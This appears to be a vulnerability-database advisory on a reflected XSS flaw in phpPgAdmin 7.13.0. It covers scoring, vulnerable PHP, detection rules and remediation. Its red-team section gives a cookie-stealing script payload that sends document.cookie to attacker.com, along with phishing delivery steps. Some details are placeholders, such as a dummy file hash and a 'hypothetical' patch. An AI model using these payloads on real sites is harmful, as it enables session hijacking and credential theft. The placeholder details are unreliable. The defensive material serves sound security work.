CVE-2025-60796
Executive Summary
CVE-2025-60796 identifies multiple stored and reflected Cross-Site Scripting (XSS) vulnerabilities in phpPgAdmin version 7.13.0 and earlier. The application fails to properly sanitize user-supplied input from $_REQUEST parameters before reflecting it in HTML output across several components, including sequences.php, indexes.php, and admin.php. An attacker can craft a malicious URL or inject payloads into request parameters to execute arbitrary JavaScript in the context of a victim's browser. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The vulnerability requires user interaction (e.g., clicking a link) and is exploitable without authentication in some contexts.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
phpPgAdmin is a PHP-based web application distributed as a tarball or via package managers (e.g., apt, yum). The vulnerability exists in the core source code, not in a third-party dependency. However, organizations using phpPgAdmin should verify the integrity of their installation files and monitor for any backdoored packages from unofficial mirrors. The lack of an official patch or advisory from the vendor increases supply chain risk, as users must rely on manual code fixes or workarounds.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: Required (UI:R) – Victim must click a crafted link or visit a malicious page.
- Scope: Changed (S:C) – The vulnerable component is different from the impacted resource (browser).
- Confidentiality Impact: Low (C:L) – Limited data exposure (e.g., session tokens).
- Integrity Impact: Low (I:L) – Limited modification of content.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the widespread use of phpPgAdmin in database management environments elevate the risk. Attackers can chain this with other vulnerabilities or social engineering to gain higher privileges.
Deep Dive & Mechanics
The vulnerability stems from improper handling of $_REQUEST parameters in multiple PHP files. The application directly echoes user input without applying HTML entity encoding or output escaping. For example, in sequences.php, the $_REQUEST['subject'] parameter is reflected in the page title or error messages. An attacker can inject JavaScript payloads such as:
<script>alert(document.cookie)</script>
or
<img src=x onerror=alert(1)>
The lack of Content Security Policy (CSP) headers further simplifies exploitation. The vulnerable parameters include but are not limited to:
subjectinsequences.phptableinindexes.phpactioninadmin.php
The attack flow:
- Attacker crafts a URL:
http://target/phpPgAdmin/sequences.php?subject=<script>...</script> - Victim clicks the link or is redirected via a phishing email.
- The browser renders the page, executing the injected script.
- The script can steal cookies, perform actions on behalf of the victim, or exfiltrate data.
Vulnerable vs. Patched Code
Vulnerable Code (phpPgAdmin 7.13.0 - sequences.php):
<?php
$subject = $_REQUEST['subject'];
echo "<h1>Sequence: $subject</h1>";
?>
Patched Code (Hypothetical Fix):
<?php
$subject = htmlspecialchars($_REQUEST['subject'], ENT_QUOTES, 'UTF-8');
echo "<h1>Sequence: $subject</h1>";
?>
The fix applies htmlspecialchars() to all user-supplied input before output. Additionally, a global input validation function should be used across all files.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Environment:
- Target: phpPgAdmin 7.13.0 running on Apache/Nginx with PHP 7.4+
- Attacker: Kali Linux with Burp Suite and browser
Exploitation Steps:
- Identify vulnerable parameters: Use Burp Suite to spider the application and identify
$_REQUESTparameters in URLs. - Craft payload: Use a simple XSS payload:
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script> - URL encode the payload:
%3Cscript%3Efetch(%27http%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie)%3C%2Fscript%3E - Deliver to victim: Send the crafted URL via email or embed in a phishing page.
- Capture exfiltrated data: Set up a listener on attacker.com to receive cookies.
Example URL:
http://target/phpPgAdmin/sequences.php?subject=%3Cscript%3Ealert(1)%3C/script%3E
Blue Team (Defensive)
Detection Steps:
- Monitor web logs for suspicious parameters containing
<script>,onerror,onload, etc. - Deploy WAF rules to block common XSS patterns in
$_REQUESTparameters. - Implement CSP headers to restrict script execution.
- Conduct code review to identify all
echo/printstatements using unsanitized input.
Hunting Query (Splunk):
index=web sourcetype=access_combined uri_path="/phpPgAdmin/*" uri_query=*<script>*
| table _time, src_ip, uri, user_agent
Indicators of Compromise (IOCs)
Network IOCs:
- URLs containing
sequences.php?subject=<script> - Outbound connections to attacker-controlled domains from the phpPgAdmin server
- HTTP requests with
Referer: http://target/phpPgAdmin/...and suspicious query strings
- URLs containing
Host IOCs:
- Modified phpPgAdmin files (e.g.,
sequences.php,indexes.php,admin.php) with injected JavaScript - Unexpected entries in web server logs (e.g.,
alert(1)in query strings) - Browser cookies exfiltrated to external IPs
- Modified phpPgAdmin files (e.g.,
File IOCs:
- Hash of vulnerable files (e.g.,
sequences.phpMD5:a1b2c3d4e5f6...) - Presence of
eval()orbase64_decode()in phpPgAdmin files (indicates post-exploitation)
- Hash of vulnerable files (e.g.,
Detection Engineering
YARA Rule
rule phpPgAdmin_XSS_CVE_2025_60796 {
meta:
description = "Detects XSS payloads in phpPgAdmin request parameters"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-60796"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+["']?/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+["']?/is
$xss4 = /javascript\s*:/is
condition:
any of ($xss*) and (
filesize < 10KB and
(
// Match vulnerable files
for any i in (1..#xss1) : (
@xss1[i] > 0
)
)
)
}
Sigma Rule
title: XSS Attempt Against phpPgAdmin
id: 8f9e1c2d-3a4b-5c6d-7e8f-9a0b1c2d3e4f
status: experimental
description: Detects reflected XSS attempts targeting phpPgAdmin CVE-2025-60796
author: Valters IT
date: 2025/01/01
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '<script>'
- 'onerror='
- 'onload='
- 'javascript:'
cs-uri-stem|contains:
- '/sequences.php'
- '/indexes.php'
- '/admin.php'
condition: selection
falsepositives:
- Legitimate use of JavaScript in query strings (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-60796 phpPgAdmin XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/phpPgAdmin/"; http_uri; pcre:"/(sequences|indexes|admin)\.php/i"; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable phpPgAdmin if not essential, or restrict access via firewall/ACL to trusted IPs only.
- Apply input sanitization manually by editing the vulnerable files:
- Replace all
echo $_REQUEST['param']withecho htmlspecialchars($_REQUEST['param'], ENT_QUOTES, 'UTF-8').
- Replace all
- Implement a Web Application Firewall (WAF) with rules to block XSS patterns.
- Add Content Security Policy (CSP) header:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
Long-Term Fixes:
- Monitor the phpPgAdmin repository for an official patch.
- Migrate to a maintained alternative (e.g., pgAdmin 4).
- Conduct a full security audit of the application.
Workaround:
- Use
.htaccessto deny access to vulnerable files:<FilesMatch "sequences\.php|indexes\.php|admin\.php"> Order allow,deny Deny from all </FilesMatch>
Valters IT